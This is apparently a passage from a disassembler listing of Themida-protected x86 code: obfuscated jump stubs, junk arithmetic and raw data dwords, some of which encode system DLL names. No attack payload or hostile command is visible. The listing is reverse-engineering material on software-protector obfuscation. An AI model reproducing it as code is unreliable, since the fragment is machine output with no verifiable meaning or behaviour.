ecx, [esp] jmp loc_557428 ; --------------------------------------------------------------------------- loc_56766B: ; CODE XREF: Themida_:0056718Cj xor ecx, edx xor edx, ecx not ecx xor edx, ecx xor ecx, edx xor edx, ecx dec edx jmp loc_563234 ; --------------------------------------------------------------------------- db 5, 24h, 59h dd 8CE91C0Bh db 0B7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567687: ; CODE XREF: Themida_:0055B7BFj add esi, ebp pop ebp push 0F68h jmp loc_5598AB ; --------------------------------------------------------------------------- a2Cvw db '╧2',1Bh,'}cVW©╟',8,0 db 1 dd 0FF2E11E9h, 4C481FFh, 8F000000h, 248B2404h, 24D36624h dd 0E99C24h, 68FFFEB5h, 7D53h, 50241C89h, 0FFB35EE9h, 2CEE2CFFh dd 2434FFA0h, 8B2434FFh, 0C4832414h, 4C48304h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5682D3 ; --------------------------------------------------------------------------- loc_5676ED: ; CODE XREF: Themida_:005602FEj mov [esp], esi mov esi, 3E0F07EBh inc esi not esi inc esi neg esi sub esi, 1681D218h sub eax, esi pop esi add eax, ecx push ebx push esi push 0DEE2E19h pop esi add esi, 74465B27h sub esi, 10C03DA6h mov ebx, esi pop esi not ebx add ebx, 9901816Fh sub eax, 66636A4Dh jmp loc_553AFC ; --------------------------------------------------------------------------- byte_56772F db 66h ; DATA XREF: Themida_:005528ECo dd 68240C8Bh, 1C8Fh, 54243489h, 4C6815Eh, 83000000h, 0EC8104EEh dd 4, 0FF243489h, 0E9042474h, 0FFFF61A2h ; --------------------------------------------------------------------------- loc_567758: ; CODE XREF: Themida_:005592DBj add esp, 4 push 8F4h mov [esp], eax push 0C4Eh mov [esp], esp jmp loc_55D75A ; --------------------------------------------------------------------------- dd 8904EC83h, 84B82404h, 0E910CC38h, 0FFFF8123h, 2EE9D089h dd 1FFFEC8h, 24148BD3h, 4C481h, 0C3810000h, 5433016Fh dd 7E08C381h, 0C3013C7Dh, 0FEE1BBE9h, 4C181FFh, 83000000h dd 0C8704C1h, 24248B24h, 15468h, 241C8900h, 0E904EC83h dd 0FFFF0EE8h, 0C3815B54h, 4, 0FFBEABE9h, 240C8BFFh, 81E28952h dd 4C2h, 0A4DAE900h, 0BE56FFFFh, 221618E0h, 0FFC3C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5677ED: ; CODE XREF: Themida_:00559D2Bj not eax xchg eax, ebp xchg ebp, [esp] pop edi jmp loc_552DA7 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 51000000h, 4B9h, 4945E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56780A: ; CODE XREF: Themida_:00557AEAj mov [esp], ebx jmp loc_564610 ; --------------------------------------------------------------------------- dw 8159h dd 720560C5h, 0AEE58119h, 814C2959h, 5B619AF5h, 0E9EB2979h dd 0FFFFD521h, 2719E381h, 0EBE9340Fh db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567837: ; CODE XREF: Themida_:0056372Dj sub esp, 4 mov [esp], eax push edi jmp loc_560499 ; --------------------------------------------------------------------------- dw 3489h dd 3F0EBE24h, 0EEC13ED6h, 4EEC103h, 0FEF6C2E9h, 24048BFFh dd 4C481h, 21E90000h, 0FFFFFF1Bh, 54E92434h, 0FFFFFEC9h dd 34818734h, 486C9024h, 24048B1Bh, 5E08950h, 4, 42Dh dd 24048700h, 0E924248Bh, 0FFFF7811h, 81FE0159h, 7E420DEEh dd 243C8B75h, 4C481h, 0B8500000h, 2, 0E1E9C601h, 53FFFEFEh dd 4F1950BBh, 0F0F38172h, 31066E61h, 0E038E9D9h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5678C6: ; CODE XREF: Themida_:00559048j push 3231h jmp loc_55891C ; --------------------------------------------------------------------------- aI@ db '┴<$©@',0 align 4 dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 24248B24h dd 0FEE1A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5678F5: ; CODE XREF: Themida_:00565CBFj push esi mov esi, 1A500949h jmp loc_5679F3 ; --------------------------------------------------------------------------- dword_567900 dd 286866ACh, 0C896675h, 52E95024h ; DATA XREF: Themida_:00552940o db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56790F: ; CODE XREF: Themida_:0055388Cj xchg eax, [esp] pop esp add eax, 1C875EC8h sub eax, edx jmp loc_555153 ; --------------------------------------------------------------------------- db 0B8h dd 0DF930E7h, 14F1E950h, 0F281FFFFh, 3CB956CDh, 0ADD6F281h dd 0D501F11Ah, 4ED835Ah, 5C242C87h, 56240489h, 0FEC591E9h dd 59CA88FFh, 8024C280h, 0EA8030EAh, 80DAF6E1h, 5266CEF2h dd 662414F6h, 1BE2805Ah, 0E527E950h, 38BDFFFEh, 0E9360267h dd 537h, 2A4F68h, 24248900h, 4240483h, 4C2815Ah, 83000000h dd 148704C2h, 525A5C24h, 0FFCA76E9h db 0FFh ; --------------------------------------------------------------------------- loc_567995: ; CODE XREF: Themida_:00559E6Fj add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_56765D ; --------------------------------------------------------------------------- dw 895Ch dd 0CE9240Ch, 52FFFEB2h, 0FEB2F8E9h, 241C87FFh, 0F9E9D3F7h dd 31FFFFF2h, 0BE565AD6h, 3BC07166h, 0E903EEC1h, 0FFFEF0FDh dd 7A7DBA52h, 87E97CE9h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5679DB: ; CODE XREF: Themida_:00562835j pop esp push esp pop dword ptr [esp] push eax mov eax, 4 sub dword ptr [esp+4], 3A23A7Ch jmp loc_55E649 ; --------------------------------------------------------------------------- loc_5679F3: ; CODE XREF: Themida_:005678FBj sub ecx, esi mov esi, [esp] add esp, 4 inc ecx push ebx mov ebx, 795742D4h and ebx, 615728B8h inc ebx xor ebx, 8A2FDE49h add ecx, ebx pop ebx add edi, ecx pop ecx push 1252h mov [esp], ebx mov ebx, 4 jmp loc_55E0DC ; --------------------------------------------------------------------------- loc_567A2A: ; CODE XREF: Themida_:005634D7j push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 or eax, eax jmp loc_55DA33 ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 24048F00h, 8324248Bh, 0BE5604C4h, 4 dd 835EF701h, 3C8704C7h, 24248B24h, 0E9240431h, 0FFFEB14Fh ; --------------------------------------------------------------------------- loc_567A6C: ; CODE XREF: Themida_:00561206j mov [esp], eax jmp loc_558AB1 ; --------------------------------------------------------------------------- dd 6721BB53h, 8E92BDDh, 66FFFF74h, 10E9EE01h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567A87: ; CODE XREF: Themida_:0055DE94j push dword ptr [edi+eax*4] push 50Eh mov [esp], esi sub esp, 4 jmp loc_5537F8 ; --------------------------------------------------------------------------- dw 1CE9h dd 31FFFEB1h, 0E5A7E9D6h, 0F501FFFEh, 8124348Bh, 4C4h dd 2C99E900h, 0EC80FFFFh, 0BDCC80FFh, 0C04AEC80h, 57E904E4h dd 81FFFF24h, 4C4h, 4C68300h, 0FF56CBE9h, 535A54FFh, 4BBh dd 5BDA0100h, 12786857h, 3C8B47BEh, 0E7895724h, 0FFF506E9h db 0FFh ; --------------------------------------------------------------------------- loc_567AF1: ; CODE XREF: Themida_:0055D272j add edi, 4 jmp loc_55EABD ; --------------------------------------------------------------------------- db 0D1h, 0EEh, 81h dd 0AC3738F6h, 73C68146h, 56F646C4h, 13242C81h, 0E907C47Ch dd 0FFFF0791h ; --------------------------------------------------------------------------- loc_567B14: ; CODE XREF: Themida_:0055841Ej add ebx, eax pop eax jmp loc_5574AB ; --------------------------------------------------------------------------- dd 1C8BD829h, 4C48324h, 5722E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567B2A: ; CODE XREF: Themida_:0055A737j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx jmp loc_55FF87 ; --------------------------------------------------------------------------- loc_567B42: ; CODE XREF: Themida_:00562D1Dj add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_562CC1 ; --------------------------------------------------------------------------- byte_567B59 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552990o dd 63E95258h, 5FFFFF7Eh, 0FF6F2DE9h, 0B04DE9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567B6E: ; CODE XREF: Themida_:0055D927j add ebx, 1CFACA3Bh mov ecx, ebx push dword ptr [esp] pop ebx add esp, 4 add eax, 5A90589Ah sub eax, ecx sub eax, 5A90589Ah mov ecx, [esp] add esp, 4 push ebp push 6C33h mov [esp], edx jmp loc_565DFA ; --------------------------------------------------------------------------- db 81h dd 4C4h, 6A726800h, 44E90000h, 0BEFFFF54h, 21785616h, 3FAF68h dd 243C8900h, 0C03372BFh, 8E7C167h, 2BB4F781h, 0FE09A406h dd 0FF2434FFh, 835F2434h, 895204C4h, 36B9E9E2h, 0D829FFFFh dd 5E2968h, 241C8900h, 0FD677FBBh, 5DE94B66h, 81FFFF22h dd 0C5C4E1F5h, 42B95139h, 6874A869h, 406h, 0B8240489h dd 5DF55CDDh, 0C158C121h, 0D9F707E1h, 8107E9C1h, 0C8B898F1h dd 59C8017Fh, 582DE801h, 0E97E970Fh, 0FFFFFC37h, 4BA525Bh dd 0E9000000h, 0FFFF6ACDh ; --------------------------------------------------------------------------- loc_567C3C: ; CODE XREF: Themida_:00553489j sub ecx, 4636136Fh sub ecx, 57011366h jmp loc_55E163 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFDC7Dh, 1E1C281h, 0C581FFF1h, 711E7649h dd 0ED81D529h, 711E7649h, 242C875Ah, 7D87E95Ch, 1489FFFFh dd 8119E924h, 335AFFFFh, 3C31243Ch, 243C3324h, 3324248Bh dd 3C31243Ch, 243C3324h, 1722E95Ch, 348BFFFFh, 4C48324h dd 6824048Fh, 49D8h, 68243C89h, 4, 2444815Fh, 4A72FF04h dd 247C0167h, 0E85FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567CC2: ; CODE XREF: Themida_:0055F3CEj mov [esp], eax push esp pop eax push edi mov edi, 47F601D4h neg edi neg edi push ebp jmp loc_55CC25 ; --------------------------------------------------------------------------- db 89h dd 74FF240Ch, 0C8B0424h, 4C48324h, 0FEAF8AE9h, 0E9E089FFh dd 0FFFFF89Fh, 91E9F101h, 5AFFFF89h, 4C281h, 0C2830000h dd 24143304h, 0E9241431h, 0FFFF469Eh ; --------------------------------------------------------------------------- loc_567D0C: ; CODE XREF: Themida_:005587D0j or edx, 6C125DBBh jmp loc_562714 ; --------------------------------------------------------------------------- loc_567D17: ; CODE XREF: Themida_:005636B0j mov [esp], edx push 30B0h mov [esp], eax push 428Eh mov [esp], ecx jmp loc_55FBA5 ; --------------------------------------------------------------------------- loc_567D2F: ; CODE XREF: Themida_:005664EEj mov esi, 3BEF1D3Bh sub esi, 87B79EBAh jmp loc_55F668 ; --------------------------------------------------------------------------- db 89h dd 0F3015BDEh, 8324348Bh, 0E95704C4h, 0FFFF2776h ; --------------------------------------------------------------------------- loc_567D50: ; CODE XREF: Themida_:005668E7j mov ebx, 2F2546FEh not ebx push ecx push ebx mov ebx, 64DD0D6Eh mov ecx, 17CE6D95h sub ecx, 0D761BC9h add ecx, ebx add ecx, 0D761BC9h jmp loc_55B14D ; --------------------------------------------------------------------------- dw 0EE81h dd 5C64C5C4h, 0CE9F121h, 49FFFFD5h, 8904EC83h, 0AABE2434h dd 0E96B0942h, 0FFFFFFE2h ; --------------------------------------------------------------------------- loc_567D94: ; CODE XREF: Themida_:0055496Dj push 4BBBh mov [esp], edx jmp loc_562C80 ; --------------------------------------------------------------------------- loc_567DA1: ; CODE XREF: Themida_:0056729Aj add esi, 4 xchg esi, [esp] pop esp shr eax, 4 shr eax, 4 push edi push 15377Fh pop edi xor eax, edi mov edi, [esp] push ecx jmp loc_55C534 ; --------------------------------------------------------------------------- dd 0B041F681h, 0F7296602h, 13E9535Eh, 81FFFFCCh, 4C4h dd 243C8700h, 0E924248Bh, 0FFFEADDBh ; --------------------------------------------------------------------------- loc_567DE0: ; CODE XREF: Themida_:00563E0Dj add esp, 4 jmp loc_564768 ; --------------------------------------------------------------------------- db 52h dd 0F82CEEB2h, 0F804D000h, 8094E95Ah, 0EB01FFFFh, 0FFEF83E9h db 0FFh ; --------------------------------------------------------------------------- loc_567E01: ; CODE XREF: Themida_:0055FA3Cj push edx mov dh, 50h or dh, 0E1h sub dh, 0Fh push ecx mov cl, dh push ebx mov bl, cl jmp loc_563EFA ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FEB71EE9h, 0ECBE56FFh, 0E97F7C2Ch, 0FFFFCF61h, 0E9D0295Bh dd 0FFFEDAF9h, 89243489h, 0DFE950E6h, 81FFFF59h, 73F82DE9h dd 0E3D4E9D5h, 489FFFFh, 0EC4EE924h, 0E95BFFFFh, 0FFFFF250h dd 0F7665866h, 7364E9D8h, 5259FFFFh, 0FEF10AE9h db 0FFh ; --------------------------------------------------------------------------- loc_567E65: ; CODE XREF: Themida_:00565FE4j push edx jmp loc_55949C ; --------------------------------------------------------------------------- db 81h dd 104952F6h, 0D905E951h, 282CFFFFh, 5358C588h, 0DC007EB3h dd 0E2DEE95Bh, 0D400FFFEh, 0F4805A66h, 8E4C053h, 0DD15E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567E96: ; CODE XREF: Themida_:005562DBj sub [eax], edi jmp loc_563D44 ; --------------------------------------------------------------------------- loc_567E9D: ; CODE XREF: Themida_:0055D128j add bl, 7Ch add bl, 20h sub bl, 53h jmp loc_55468B ; --------------------------------------------------------------------------- db 81h dd 0C71506C5h, 3324E909h, 0FA01FFFFh, 24048B5Fh, 0E904C483h dd 0FFFFA945h, 0B5511CB3h, 2C2FB0E1h, 0E9E8286Ch, 0FFFFB2DDh ; --------------------------------------------------------------------------- loc_567ED4: ; CODE XREF: Themida_:00562297j mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_563B6A ; --------------------------------------------------------------------------- loc_567EE6: ; CODE XREF: Themida_:00556E94j pop esi mov esi, 0FB082B44h add esi, edi pop edi shr esi, 7 push edi mov edi, 2AF20B65h jmp loc_5680E4 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0E904EC83h, 0FFFFB247h, 1496E981h, 0E95D493Ch, 0FFFF618Ch dd 89240489h, 405E0h, 4050000h, 87000000h, 248B2404h, 5DEA0124h dd 0EA81FA01h, 4524346Fh, 4EC81h, 1C890000h, 705FBB24h dd 0E3810477h, 73A65C2h, 0FF0163E9h db 0FFh ; --------------------------------------------------------------------------- loc_567F4D: ; CODE XREF: Themida_:005653C6j pop eax and bh, 85h add bh, 12h push ecx mov cl, 4Bh shl cl, 2 and cl, 0EAh inc cl shr cl, 3 sub cl, 88h xor bh, cl pop ecx and bh, 5 push eax mov ah, 80h and ah, 51h not ah jmp loc_556401 ; --------------------------------------------------------------------------- dd 4C481h, 89510000h, 4C181E1h, 83000000h, 0C3304E9h, 5F85E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567F92: ; CODE XREF: Themida_:0055911Aj shr eax, 0Ch xor eax, ecx push ecx mov ecx, esp jmp loc_553F2E ; --------------------------------------------------------------------------- db 29h dd 0A8C381F3h, 5E02026Ah, 515EC381h, 0F3291553h, 515EEB81h dd 89571553h, 4C781E7h, 52000000h, 0FEEC6FE9h, 1BBEBEFFh dd 0F0292BA1h, 89B0E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567FD2: ; CODE XREF: Themida_:005665A1j push ebp mov ebp, 20000h mov edi, ebp pop ebp and eax, edi push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop edi push edi mov edi, esp jmp loc_5597A7 ; --------------------------------------------------------------------------- db 8Bh dd 9FE92404h, 89FFFEF4h, 4BB241Ch, 29000000h, 0C875BD9h dd 4745E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56800A: ; CODE XREF: Themida_:0055C346j inc edi xor edi, 23946402h shr edi, 8 or edi, 58077CACh add edi, 0AE3D29C3h xor ebp, edi jmp loc_55E494 ; --------------------------------------------------------------------------- db 28h dd 0B6D5E9D1h, 6F68FFFEh, 0E9000063h, 0FFFF5C25h ; --------------------------------------------------------------------------- loc_568038: ; CODE XREF: Themida_:005545E7j xor ebx, 2BA02841h add eax, ebx pop ebx push 4B6Ch mov [esp], esi jmp loc_562DE3 ; --------------------------------------------------------------------------- dw 5158h dd 0FFE6EDE9h db 0FFh ; --------------------------------------------------------------------------- loc_568055: ; CODE XREF: Themida_:00564D3Ej push ebx push esp jmp loc_55F693 ; --------------------------------------------------------------------------- dd 8904EC83h, 95BE2434h, 6801E11Dh, 0 dd 5E243429h, 4A51BD55h, 10E92508h, 8BFFFEBDh, 0C4832414h dd 24048F04h, 6624248Bh, 5024048Bh, 81E28952h, 4C2h, 4EA8300h dd 31241433h, 0CAE92414h, 49FFFF0Ah, 5301E983h, 0D472D2BBh dd 0BFC1816Ah, 0E90D866Ah, 0FFFF06BFh ; --------------------------------------------------------------------------- loc_5680B8: ; CODE XREF: Themida_:00557227j sub al, 0A1h sub al, 8Dh jmp loc_557B67 ; --------------------------------------------------------------------------- byte_5680C1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AD4o dd 28FE6824h, 5E90000h db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5680CF: ; CODE XREF: Themida_:00558004j mov ebx, [esp] add esp, 4 not dword ptr [edi+20h] inc dword ptr [edi+20h] shr dword ptr [edi+20h], 8 jmp loc_565E3E ; --------------------------------------------------------------------------- loc_5680E4: ; CODE XREF: Themida_:00567EF8j push edi not dword ptr [esp] jmp loc_567496 ; --------------------------------------------------------------------------- loc_5680ED: ; CODE XREF: Themida_:0055A65Dj push ebp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] jmp loc_55D12D ; --------------------------------------------------------------------------- loc_568110: ; CODE XREF: Themida_:00555DD0j add esi, 751E527Bh pop edx jmp loc_563A2A ; --------------------------------------------------------------------------- dd 4C481h, 1EE90000h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568127: ; CODE XREF: Themida_:0056049Cj add esp, 4 mov edi, [esp] jmp loc_558FE7 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0DEh dd 0E95CE208h, 0FFFF0746h, 4C781h, 0EF810000h, 4, 5C243C87h dd 83241C89h, 0C8904ECh, 4EC8324h, 68241C89h, 6C042CBFh dd 0FEAB25E9h, 240C8BFFh, 4C481h, 0E9510000h, 0FFFF3872h ; --------------------------------------------------------------------------- loc_568178: ; CODE XREF: Themida_:00552F95j pop edx pop dword ptr [esp] pop esp pop ecx sub ecx, 169E2760h push ebx jmp loc_556723 ; --------------------------------------------------------------------------- dw 0C781h dd 38233AFAh, 8147DFF7h, 2DA9EF7h, 31EF3199h, 0F7EF31FDh dd 50EF87D5h, 0A650F1B8h, 58C7095Fh, 0FEBDB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5681B1: ; CODE XREF: Themida_:0056499Aj mov edi, esi pop esi mov ebx, edi jmp loc_55CA7D ; --------------------------------------------------------------------------- db 52h dd 0A64B9DBAh, 0FFD13139h, 815A2434h, 4C4h, 15F18100h dd 0E91F5568h, 0FFFF752Ch, 0FEA9DEE9h, 4BF57FFh, 0E9000000h dd 0FFFEDD10h, 1959BB53h, 0C38101ACh, 0FFFFFFFFh, 0FF1C7BE9h dd 0E9C329FFh, 0FFFFD87Bh, 0C281F201h, 79002AF6h, 8324348Bh dd 94E904ECh, 0FFFFD2h, 0F6E959E8h, 1FFFF30h, 97C381FBh dd 0E9013766h, 0FFFF4257h dword_568228 dd 240C8B66h, 68E68956h, 4ACAh, 50243C89h, 0FFAC07E9h ; DATA XREF: Themida_:00552A58o dd 4C683FFh, 0FEC280E9h db 0FFh ; --------------------------------------------------------------------------- loc_568245: ; CODE XREF: Themida_:00557BF0j push esi push ebp mov ebp, 70251F65h jmp loc_559442 ; --------------------------------------------------------------------------- aUS db '╩·:А',0 dw 0DA89h dd 81241C8Bh, 4C4h, 0BCB95100h, 5225773Ch, 0A04C1BBAh dd 0A6C1814Dh, 1196528h, 0A6E981D1h, 5A196528h, 8149D9F7h dd 0FFC568C1h, 0E9CA09ECh, 0FFFFF545h db 8Ah, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_555B3E ; --------------------------------------------------------------------------- loc_568298: ; CODE XREF: Themida_:005667D1j push esi jmp loc_5593B2 ; --------------------------------------------------------------------------- loc_56829E: ; CODE XREF: Themida_:0055519Bj xor ebx, 35FB5F3Fh mov eax, ebx pop ebx inc eax jmp loc_55DE40 ; --------------------------------------------------------------------------- db 5Ch, 89h, 34h dd 0E6895624h, 4C681h, 56520000h, 4E5562BEh, 0E6814634h dd 4E6130C7h, 1047F681h, 78E90440h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5682D3: ; CODE XREF: Themida_:005676E8j xchg ebp, [esp] pop esp jmp loc_5573BA ; --------------------------------------------------------------------------- dd 14E8h, 47D85000h, 0DFBF8D11h, 37ACE145h, 8973291Bh dd 9FB02FC0h, 0F18B6617h, 17C18159h, 0BF000064h, 18E4h dd 0D6B70F57h, 80198B5Eh, 0F3818FEAh, 234B7A34h, 0E049BE66h dd 4A1FF381h, 81F55DA4h, 184C7AC3h, 5053F578h, 97613B8h dd 18F5A31h, 3890Fh, 8B660000h, 76E981C7h, 801DBB7Bh, 0C1818BCEh dd 1DBB7B72h, 0BE8h, 2F9F3800h, 0FF405BD9h, 5C193340h dd 81CA8B60h, 0A01818F6h, 4F5E6150h, 0FF9F850Fh, 0D68BFFFFh dd 535536EBh, 32335245h, 6C6C642Eh, 56444100h, 33495041h dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 707D7h, 1A0004h dd 270012h, 31C000Bh, 302691F8h, 8CCE9h, 9ED26800h, 0F1E90937h dd 68FFFDE0h, 9379F49h, 0FDE0E7E9h, 0A09268FFh, 0DDE90937h dd 68FFFDE0h, 937A1ECh, 0FDE0D3E9h, 0A26568FFh, 0C9E90937h dd 68FFFDE0h, 937A3A8h, 0FDE0BFE9h, 0A41E68FFh, 0B5E90937h dd 26FFFDE0h, 4A0E8F34h, 0FD1CAD7h, 60188510h, 0ACECFC8h dd 1E158613h, 15849D6Dh, 3E5BD088h, 18859B5Dh, 7861FD83h dd 43612D23h, 12FEA379h, 495B606Dh, 7DFEA0Fh, 552A19C7h dd 880E1503h, 0D0F57C44h, 12E1F66Eh, 0E1B6328Eh, 5C97021Bh dd 28B616D8h, 130114A2h, 88E41096h, 0B731FBBAh, 997144BCh dd 0CA675935h, 10CDF7ADh, 27C94B47h, 0F8972DC9h, 0E644141Ah dd 93364896h, 23D3386Eh, 0FB886B6Dh, 716E00A8h, 0A7914F7Fh dd 9B3B28E2h, 2B47B915h, 0BD33A0BEh, 2EABC236h, 47AF41C3h dd 9C0519A3h, 0FCE579FFh, 8ADFA4E8h, 907AF9BAh, 730h, 0B9E2C775h dd 0EEAF2A47h, 0B3E8F56Ah, 0F7A4352Dh, 0ACF1E881h, 79F09AEFh dd 0AEC53B60h, 70EE722Bh, 0AAC63A63h, 14B8702Dh, 0FEA3E4CEh dd 10B3E012h, 43AE2B47h, 9935EDB8h, 1DF650Bh, 37971915h dd 0B8AF8587h, 0F501368Ch, 0E47B8549h, 69871209h, 0E8753F65h dd 6F7112FEh, 501B1587h, 85DB6AB4h, 0BBE00E47h, 43AE2B45h dd 0A0445DD1h, 0F2D308A2h, 0B9CEB83Bh, 0FE000006h, 0B226775Ch dd 77922BFh, 0A8306D68h, 27627B0h, 662D6E6Bh, 0DDFC7515h dd 0B62338C0h, 0E0FD73E5h, 0B02945BBh, 5B8945EBh, 12FEA271h dd 15933865h, 75F409B9h, 58BCDB4Bh, 359F408Ah, 0ADC2341Ch dd 0D00EBE30h, 1C359FEAh, 0C23CB8DEh, 4EC231AEh, 0F709C5D2h dd 15975A7Fh, 76EE62E1h, 6ECA2733h, 2EC08237h, 0C0D951C3h dd 6B59CC31h, 615B4390h, 322CD2CFh, 2ACA4EA5h, 9FEEEFD5h dd 0C88950D9h, 57h, 0AE2B4707h, 288939EDh, 39A057D6h, 0C9399929h dd 0FD867068h, 0A52B5AF9h, 0A31C3641h, 4213B9E7h, 0E1071C36h dd 1A879B15h, 871008B2h, 2F0CE86Ch, 814D0590h, 331D463h dd 6C6E815h, 715D7AF4h, 5FD2D74Fh, 7348AC42h, 0FA7673EDh dd 5C9216DDh, 5DEAD95h, 47DE0000h, 9C1EAE2Bh, 8F0A2384h dd 0E30EE064h, 680E9561h, 41347E24h, 0AE301C36h, 30E8BB46h dd 4713069Ch, 0BFE11503h, 99061ADEh, 814B5935h, 7513013Ch dd 19A68373h, 0E8F6D68Eh, 0BCCDA8Bh, 2B5F6F71h, 0EF029F91h dd 5520556Dh, 0F3BC9677h, 0A978903h, 5451CF91h, 0BE35BBDCh dd 0E8BA618h, 0DFF874E6h, 9D56F107h, 5D45ECE9h, 570h, 792287B5h dd 2E6F6A07h, 7328B5AAh, 376475EDh, 6C31A8C1h, 3930DAAFh dd 0EE85FBA0h, 302EB2EBh, 0EA86FAA3h, 0D4F8B0EDh, 0FEA1A40Eh dd 0D0F3A012h, 43AE2B47h, 0D3165DD1h, 788C062Fh, 3A8413AFh dd 0E00E3581h, 0B746E30Eh, 0FCB808CDh, 0B35236Eh, 0FCB846AEh dd 4C1C35ABh, 50934C84h, 87982289h, 0EB2BDA1Ah, 5CFFFFFEh dd 43AE2B47h, 9935EDB8h, 363E40Bh, 0B6169815h, 0FDFCBE06h dd 101CFCCDh, 8A3D85B0h, 0EEB0BEEh, 0CC8E6818h, 4F62EEB1h dd 0FE0C473h, 5F976C22h, 0C509C1D4h, 0CE26901Fh, 0C2E0A40Bh dd 1C3616F8h, 4CA73028h, 0FAF4FAC8h, 7A3128D2h, 0C6BABC67h dd 51A54B77h, 5A7B42D2h, 0E73E1C35h, 4FE6D8FDh, 0D125A74Ah dd 50E4DC31h, 1B78B89h, 493C0000h, 7DFEA0Fh, 0B03935C7h dd 4FD120B9h, 0FBA955A1h, 15035548h, 0CC72AA2Ch, 0BCB747D1h dd 27B2AF51h, 36D3F9A7h, 21C74B47h, 9F7742D5h, 4116712Fh dd 0AC144414h, 0BC31F8D6h, 0FFB54155h, 3A8D1AD9h, 52126A62h dd 2A3281EFh, 19F4BABh, 3B294237h, 616B7955h, 554B4741h dd 41497331h, 9B3D4B47h, 0EDF3A155h, 5643DFE1h, 268C5276h dd 224B4741h, 0DDA3787Ch, 6A8C5841h, 73BA8A31h, 41606F0h dd 0F95B0000h, 2439BFDCh, 718E0BDh, 0E77F019Ah, 3E37A9F2h dd 4039029Bh, 554653CAh, 900D88A3h, 544956C8h, 9607908Ch dd 0FEC4DAB2h, 0FA12FEA0h, 0B915EAE9h, 47AA2F47h, 41951FC5h dd 54CD1C36h, 982AAE45h, 4053DE16h, 0B09E4488h, 0CE1501DEh dd 0AC765DEEh, 2DC9EB6Ch, 635D7177h, 15CBD0CDh, 0CF737E1Bh dd 684E25EFh, 7D79ECF4h, 72726F03h, 0F2D2E71Ah, 9DF6E083h dd 0E2000003h, 964A5370h, 0DB9DFE9Bh, 0BC445944h, 0F66A33A4h dd 7A415A7Fh, 9908901h, 4257CC94h, 0C89A759h, 4C55C98Fh dd 6F35594Fh, 12FE9F45h, 152F9441h, 5B6772EBh, 6ACEB397h dd 0B527CF5Dh, 823D30B9h, 357F565Ch, 0A24C521Ch, 0D023CD4Fh dd 0D58F522Ah, 38AA10CEh, 0F89E1C36h, 0D5E958C8h, 26B3AF21h dd 801914A6h, 0BD50ED74h, 896F2D7h, 1C3598C2h, 935E7BF2h dd 0C92DB311h, 359A7B3Bh, 0CD03CF1Ch, 9E8950A1h, 0FFFFFCF6h dd 2BB915EDh, 1C3641A1h, 69E31395h, 7A05ECF5h, 3357772Fh dd 14AFAF4Bh, 0F1737E1Bh, 6329DAD1h, 0DEC38F5Fh, 0E01405C3h dd 2DB8352h, 26777915h, 0CC044985h, 25ACF2F4h, 0BAB35A42h dd 9225D11Fh, 4B7F4F07h, 0D521B8B1h, 34BEC3Fh, 7FF60815h dd 0DB15975Ah, 12119D43h, 7D48AAECh, 5B6529A5h, 901ED6C3h dd 73E0DEF5h, 4752CBF5h, 16CC28ACh, 323CFF62h, 27C96B78h dd 4CE5D7A7h, 492FC438h, 408026ADh, 2F8C9661h, 0E57084B3h dd 0CD2FAD2h, 6CEC0F22h, 0DA526C20h, 0EE9D27BDh, 17997B13h dd 1FAF31DFh, 3428819Dh, 0A05845ABh, 6FD3138Ch, 2E8ABD87h dd 25A9B83h, 0BD9F0000h, 60FD8318h, 0C35C2479h, 1B13C5D6h dd 0C25B1D7Eh, 0BCCDC6D7h, 594257CEh, 94098CA7h, 584552CCh dd 8A138CA0h, 12B8E6A6h, 612FE9Fh, 9B2EF6D5h, 7AF10BC3h dd 0E410945Fh, 0F56A9438h, 797760F8h, 0DF9FE77Dh, 9F211501h dd 30DE1683h, 829C1EAEh, 5ED08815h, 0A3418D41h, 12FEA419h dd 15809B0Dh, 60945ADEh, 0E6F36FE1h, 0D2D192FEh, 7E680BF2h dd 1E4h, 0EDAE0B29h, 0B2EBF66Bh, 0F7A4312Eh, 0ABF0E981h dd 9D3C35h, 